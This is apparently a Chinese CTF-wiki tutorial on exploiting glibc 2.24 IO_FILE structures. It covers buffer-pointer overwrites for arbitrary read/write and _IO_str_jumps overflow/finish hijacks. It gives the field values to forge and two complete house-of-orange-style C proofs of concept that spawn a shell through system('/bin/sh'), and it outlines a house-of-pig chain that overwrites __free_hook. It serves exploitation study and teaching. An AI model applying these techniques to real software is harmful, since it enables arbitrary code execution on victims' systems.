跳转至

glibc 2.24下 IO_FILE 的利用

介紹

在2.24版本的glibc中,全新加入了針對IO_FILE_plus的vtable劫持的檢測措施,glibc 會在調用虛函數之前首先檢查vtable地址的合法性。首先會驗證vtable是否位於_IO_vtable段中,如果滿足條件就正常執行,否則會調用_IO_vtable_check做進一步檢查。

/* Check if unknown vtable pointers are permitted; otherwise,
   terminate the process.  */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

計算 section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;,緊接着會判斷 vtable - __start___libc_IO_vtables 的 offset ,如果這個 offset 大於 section_length ,即大於 __stop___libc_IO_vtables - __start___libc_IO_vtables 那麼就會調用 _IO_vtable_check() 這個函數。

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }

#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

如果vtable是非法的,那麼會引發abort。

這裏的檢查使得以往使用vtable進行利用的技術很難實現

新的利用技術

fileno 與緩衝區的相關利用

在vtable難以被利用之後,利用的關注點從vtable轉移到_IO_FILE結構內部的域中。 前面介紹過_IO_FILE在使用標準IO庫時會進行創建並負責維護一些相關信息,其中有一些域是表示調用諸如fwrite、fread等函數時寫入地址或讀取地址的,如果可以控制這些數據就可以實現任意地址寫或任意地址讀。

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
};

因爲進程中包含了系統默認的三個文件流stdin\stdout\stderr,因此這種方式可以不需要進程中存在文件操作,通過scanf\printf一樣可以進行利用。

在_IO_FILE中_IO_buf_base表示操作的起始地址,_IO_buf_end表示結束地址,通過控制這兩個數據可以實現控制讀寫的操作。

示例

簡單的觀察一下_IO_FILE對於調用scanf的作用

#include "stdio.h"

char buf[100];

int main()
{
 char stack_buf[100];
 scanf("%s",stack_buf);
 scanf("%s",stack_buf);

}

在執行程序第一次使用stdin之前,stdin的內容還未初始化是空的

0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2088  0x0000000000000000
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>:    0x0000000000000000  0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>:    0x0000000000000000  0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>:    0xffffffffffffffff  0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>:    0x00007ffff7dd19c0  0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:    0x0000000000000000  0x00007ffff7dd06e0 <== vtable

調用scanf之後可以看到_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end等域都被初始化

0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2288  0x0000000000602013
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014  0x0000000000602010
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010  0x0000000000602010
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010  0x0000000000602010
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000602410  0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>:    0x0000000000000000  0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>:    0x0000000000000000  0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>:    0xffffffffffffffff  0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>:    0x00007ffff7dd19c0  0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:    0x00000000ffffffff  0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:    0x0000000000000000  0x00007ffff7dd06e0

進一步思考可以發現其實stdin初始化的內存是在堆上分配出來的,在這裏堆的基址是0x602000,因爲之前沒有堆分配因此緩衝區的地址也是0x602010

Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/1/t1
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/1/t1
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/1/t1
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]

分配的堆大小是0x400個字節,正好對應於_IO_buf_base~_IO_buf_end 在進行寫入後,可以看到緩衝區中有我們寫入的數據,之後目的地址棧中的緩衝區也會寫入數據

0x602000:   0x0000000000000000  0x0000000000000411 <== 分配0x400大小
0x602010:   0x000000000a333231  0x0000000000000000 <== 緩衝數據
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000

接下來我們嘗試修改_IO_buf_base來實現任意地址讀寫,全局緩衝區buf的地址是0x7ffff7dd2740。修改_IO_buf_base和_IO_buf_end到緩衝區buf的地址

0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2288  0x0000000000602013
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014  0x0000000000602010
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010  0x0000000000602010
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010  0x00007ffff7dd2740 <== _IO_buf_base
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd27c0  0x0000000000000000 <== _IO_buf_end
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>:    0x0000000000000000  0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>:    0x0000000000000000  0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>:    0xffffffffffffffff  0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>:    0x00007ffff7dd19c0  0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:    0x00000000ffffffff  0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:    0x0000000000000000  0x00007ffff7dd06e0

之後scanf的讀入數據就會寫入到0x7ffff7dd2740的位置

0x7ffff7dd2740 <buf>:   0x00000a6161616161  0x0000000000000000
0x7ffff7dd2750 <buffer>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2760 <buffer>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2770 <buffer>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2780 <buffer>:    0x0000000000000000  0x0000000000000000

_IO_str_jumps -> overflow

libc中不僅僅只有_IO_file_jumps這麼一個vtable,還有一個叫_IO_str_jumps的 ,這個 vtable 不在check範圍之內。

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

如果我們能設置文件指針的 vtable_IO_str_jumps 麼就能調用不一樣的文件操作函數。這裏以_IO_str_overflow爲例子:

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)// pass
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in 
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)//pass 一般會通過
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//target [fp+0xe0]
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);

      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
libc_hidden_def (_IO_str_overflow)

利用以下代碼來劫持程序流程

      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

幾個條件 bypass:

  1. 1. fp->_flags & _IO_NO_WRITES爲假
  2. 2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
  3. 3. fp->_flags & _IO_USER_BUF(0x01)爲假
  4. 4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能爲負數
  5. 5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 應當指向/bin/sh字符串對應的地址
  6. 6. fp+0xe0指向system地址

構造:

_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2 

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_jumps - 0x18

示例

修改了 how2heap 的 houseoforange 代碼,可以自己動手調試一下。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;
    // unsorted bin attack
    p1 = malloc(0x400-16);
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;
    p2 = malloc(0x1000);
    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;
    // _IO_str_overflow conditions
    char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack
    // top[0] = ~1;
    // top[0] &= ~8;
    top[0] = 0;
    top[4] = 0; // write_base
    top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr
    top[7] = 0; // buf_base
    top[8] = top[5] - 1; // buf_end
    // house_of_orange conditions
    top[1] = 0x61;

    top[20] = (size_t) &top[18];
    top[21] = 2;
    top[22] = 3;
    top[24] = -1;
    top[27] = (size_t)stdin - 0x3868-0x18; // _IO_str_jumps地址
    top[28] = (size_t) &winner;

    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);
    return 0;
}
int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

同時 house of pig 中的利用也是比較典型的例子,注意到滿足

pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))

的時候,會先後執行

size_t old_blen = _IO_blen (fp);
// #define _IO_blen (fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
new_buf = malloc (new_size);
memcpy (new_buf, old_buf, old_blen);
free (old_buf);

三個操作,僞造 _IO_FILE 並劫持 vtable 爲 _IO_str_jumps 通過一個 large bin attack 就可以輕鬆實現,並且我們上面三個語句中的 new_size,old_buf 和 old_blen 是我們可控的,這個函數就可以實現以下三步

  1. 調用 malloc,實現從 tcache 中分配 chunk,在這裏就可以把我們之前放入的 __free_hook fake chunk 申請出來
  2. 將一段可控長度可控內容的內存段拷貝置 malloc 得來的 chunk 中(可以修改 __free_hook 爲 system)
  3. 調用 free,且參數爲內存段起始地址("/bin/sh\x00",getshell)

也就是隻要我們構造得當,執行該函數即可 getshell。

_IO_str_jumps -> finish

原理與上面的 _IO_str_jumps -> overflow 類似

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);  //[fp+0xe8]
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

條件:

  1. _IO_buf_base不爲空
  2. _flags & _IO_USER_BUF(0x01) 爲假

構造如下:

_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_finish - 0x18
fp+0xe8 -> system_addr

示例

修改了 how2heap 的 houseoforange 代碼,可以自己動手調試一下。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;
    // unsorted bin attack
    p1 = malloc(0x400-16);
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;
    p2 = malloc(0x1000);
    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;
    // _IO_str_finish conditions
    char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack

    top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1;
    top[7] = ((size_t)&binsh_in_libc); // buf_base

    // house_of_orange conditions
    top[1] = 0x61;
    top[5] = 0x1 ; //_IO_write_ptr
    top[20] = (size_t) &top[18];
    top[21] = 2;
    top[22] = 3;
    top[24] = -1;
    top[27] = (size_t) stdin - 0x33f0 - 0x18;
    top[29] = (size_t) &winner;
        top[30] = (size_t) &top[30];
    malloc(10);
    return 0;
}
int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}